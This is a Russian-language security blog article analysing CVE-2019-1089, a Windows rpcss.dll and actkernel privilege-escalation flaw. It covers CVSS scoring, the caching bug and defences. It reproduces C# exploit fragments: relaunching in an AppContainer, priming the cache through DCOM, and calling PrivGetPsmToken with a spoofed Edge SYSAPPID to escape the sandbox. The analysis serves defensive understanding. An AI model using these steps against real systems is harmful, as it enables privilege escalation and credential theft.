Уязвимость библиотеки rpcss.dll в Windows
Уязвимость библиотеки rpcss.dll в Windows
Категория: Программы Теги: Уязвимости Опубликовано: 3 июля 2025

Уязвимость BDU:2019-02669 (CVE-2019-1089) Windows

Уязвимость BDU:2019-02669 (CVE-2019-1089) в библиотеке rpcss.dll позволяет обойти проверки безопасности в RPC-сервисе Activation Kernel ("actkernel") в Windows. Это приводит к возможности повышения привилегий (EoP) из-за некорректного кеширования результатов проверки безопасности при обработке RPC-вызовов.

Анализ уязвимости

Уровень опасности: 7.8 HIGH (CVSSv3.0)
Вектор атаки: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • AV:L (Attack Vector - Вектор атаки): Локальный - требуется локальный доступ к системе.

  • AC:L (Attack Complexity - Сложность атаки): Низкая - не требует сложных условий эксплуатации.

  • PR:L (Privileges Required - Требуемые привилегии): Низкие - атакующий должен иметь возможность выполнять код с базовыми правами пользователя.

  • UI:N (User Interaction - Взаимодействие с пользователем): Не требуется - атака не требует действий пользователя.

  • S:U (Scope - Область воздействия): Неизменная - уязвимый компонент не влияет на другие компоненты.

  • C:H (Confidentiality Impact - Воздействие на конфиденциальность): Высокое - полная компрометация конфиденциальных данных.

  • I:H (Integrity Impact - Воздействие на целостность): Высокое - полное нарушение целостности системы.

  • A:H (Availability Impact - Воздействие на доступность): Высокое - полный отказ в обслуживании.

Условия эксплуатации

  1. Локальный доступ: Злоумышленник должен иметь возможность выполнить код в системе (например, через вредоносное ПО или фишинговую атаку).

  2. Уязвимая ОС: Система должна быть в списке уязвимых версий Windows (Windows 7-10, Server 2008-2019).

  3. Базовые привилегии: Достаточно прав стандартного пользователя или AppContainer (AC/LPAC).

  4. Предварительная инициализация: Пользователь должен был ранее инициировать DCOM-активацию (например, запуск OOP COM-сервера).

Технический механизм уязвимости

  1. Архитектура RPCSS:
    Служба разделена на:

    • rpcss.exe (запущен с низкими привилегиями)

    • Служба активации DCOM (запущена как SYSTEM).

  2. Ошибка кеширования:
    При активации DCOM:

    • RPCSS олицетворяет пользователя при вызове actkernel через ALPC.

    • Actkernel проверяет PID вызывающего процесса (должен быть PID RPCSS).

    • Уязвимость: Результат проверки кешируется по Modified ID токена пользователя.

    • После кеширования любой процесс с этим токеном может вызывать actkernel напрямую.

Анализ эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2019-1089:

Этап 1: Запуск в AppContainer (AC)

if (!IsInAppContainer()) {
    // Создание AC для Calculator
    Win32ProcessConfig config = new Win32ProcessConfig();
    config.AppContainerSid = TokenUtils.DerivePackageSidFromName(
        "microsoft.windowscalculator_8wekyb3d8bbwe" // SID Calculator
    );
    Win32Process.CreateProcess(config); // Запуск себя в AC
}

Цель: Создать среду для эксплуатации через изолированный AppContainer.

Этап 2: Инициализация кеша безопасности

Guid clsid = new Guid("ce0e0be8-cf56-4577-9577-34cc96ac087c"); // CLSID OOP-сервера
CoCreateInstance(ref clsid, IntPtr.Zero, CLSCTX.LOCAL_SERVER, ref iid); // Активация DCOM

Цель: Вызвать DCOM-активацию, чтобы RPCSS обратился к actkernel от имени AC-токена (кеширует результат).

Этап 3: Прямой вызов actkernel

using (var client = new Client()) {
    client.Connect("actkernel"); // Прямое подключение к ALPC-порту
    client.PrivGetPsmToken(
        0x40000001, 
        0, 
        "Microsoft.MicrosoftEdge_44.18362.1.0_neutral__8wekyb3d8bbwe", // Поддельный SYSAPPID
        "Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge", 
        out NtToken token, // Возвращаемый токен
        out int a
    );
}

Ключевые функции:

  • PrivGetPsmToken(): Метод actkernel, изменяющий SYSAPPID токена.

  • Подмена SYSAPPID на Microsoft Edge: позволяет обходить проверки брокеров.

Последствия успешной эксплуатации

  1. Повышение привилегий:

    // Полученный токен имеет поддельный SYSAPPID
    token.AppContainerSid.Name // "S-1-15-...-MicrosoftEdge"
  2. Sandbox Escape:

    • Обход ограничений AppContainer через подмену доверенного SYSAPPID (например, Edge).

    • Доступ к API брокеров (Browser/Desktop Broker).

  3. Доступ к данным:

    • Чтение SAM/LSA (как в PoC: вывод подразделов реестра SAM).

    • Компрометация системных учетных данных.

  4. Полная компрометация системы:
    Цепочка: AC Escape → SYSTEM через Broker → установка персистентности.

Методы защиты

  1. Установка обновлений.

  2. Минимизация привилегий:

    • Запуск служб с Least Privilege (не SYSTEM).

    • Отключение ненужных COM-компонентов.

  3. Контроль целостности (CI):
    Мониторинг изменений rpcss.dll:

    Get-FileHash C:\Windows\System32\rpcss.dll -Algorithm SHA256
Алексей Черемных Алексей Черемных
134